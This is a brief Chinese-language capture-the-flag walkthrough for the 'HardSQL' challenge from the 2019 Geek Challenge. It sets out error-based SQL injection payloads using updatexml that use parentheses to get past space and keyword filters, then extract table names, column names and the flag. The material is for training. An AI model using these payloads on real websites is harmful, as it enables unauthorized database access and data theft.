[极客大挑战 2019]HardSQL1

张开发
• 2026/4/9 8:38:22 • 15 分钟阅读

最新文章

推荐文章

相关文章

分享文章

[极客大挑战 2019]HardSQL1
1.老套路,万能密码试试不行找注入点做闭合还是单引号正常注入不行不管是双写还是替换报错注入试试,空格和and是会被过滤的。union联合不行那就试试报错1. 报错注入求库名 1or(updatexml(1,concat(0x7e,database()),3))%23 2.表名 or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(geek)),0x7e),1))%23 3.列名 or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(geek)or(table_name)like(H4rDsq1)),0x7e),1))%23 4.求falg发现输出不全用left输出内容从左边数几位right输出 1or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23

更多文章